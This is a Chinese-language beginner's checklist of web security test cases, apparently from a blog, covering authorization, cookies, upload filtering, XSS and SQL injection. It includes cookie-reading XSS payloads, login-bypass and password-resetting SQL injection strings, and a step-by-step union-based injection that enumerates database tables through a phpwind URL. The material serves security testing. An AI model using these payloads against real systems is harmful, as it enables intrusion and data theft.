安全测试初级用例
1、认证与授权:避免未经授权的页面可以被直接访问
2、session和cookie:避免保存敏感信息到cookie文件中;不同应用系统的cookie,作用域应该不同;
3、文件上传:应限制上传文件的类型,避免可直接上传可执行脚本或代码文件,进而导致服务器被挟持
过滤方案:通过后缀名过滤(容易被突破掉,不严谨);通过二进制来判断文件类型;
同时,修改服务器核心参数,禁止脚本引擎运行系统命令;
4、XSS跨站攻击:往web页面里插入恶意html代码,当代码被执行时起到恶意攻击用户。
测试数据:
<input type="button" value="点我“ onclick="alert(’你好‘)“/>
<input type="button" value="点我“ onclick="alert(document.cookie)“/>
5、SQL注入:获取服务端数据库的内容,或修改数据的内容;
示例一(登录场景):
服务器端未限制用户名和密码的可输入长度;
需要去猜测数据库表名、列名、加密方式;
select * from user where username=’$username‘ and password='$password';
a、输入$username=x' or userid=1 #'
代入上面的SQL语句:select * from user where username=’x' or userid=1 #'‘ and password='$password';
b、输入$username=x'; update user set password='12345' where userid=1 #’
代入上面的SQL语句:select * from user where username=’x'; update user set password='12345' where userid=1 #’‘ and password='$password';
c、输入$username=x' or userid=1 #'
输入$password='12345'
示例二(利用URL地址传参注入sql):先试探是否有SQL注入的可能
URL地址:http://1ocalhost/phpwind/read.php?tid=213361
猜测对应SQL: SELECT * FROM thread where tid=213361;
尝试篡改URL地址1:http://1ocalhost/phpwind/read.php?tid=213361‘  //语法不正确
尝试篡改URL地址2:http://1ocalhost/phpwind/read.php?tid=213361 order by 10
尝试篡改URL地址3:http://1ocalhost/phpwind/read.php?tid=213361 1=2  union select 1,2,3,4,5,6,7,8,9
尝试篡改URL地址4:http://1ocalhost/phpwind/read.php?tid=213361 1=2  union select 1,database(),3,4,5,6,7,8,9
尝试篡改URL地址5:http://1ocalhost/phpwind/read.php?tid=213361 1=2  union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='XXX' limit 1,1
......不断尝试,最终抓取出DB中的数据.....

启发用例:单引号是字符串分隔符,检查在输入单引号时是否被转义
                    
                
                
            
        
浙公网安备 33010602011771号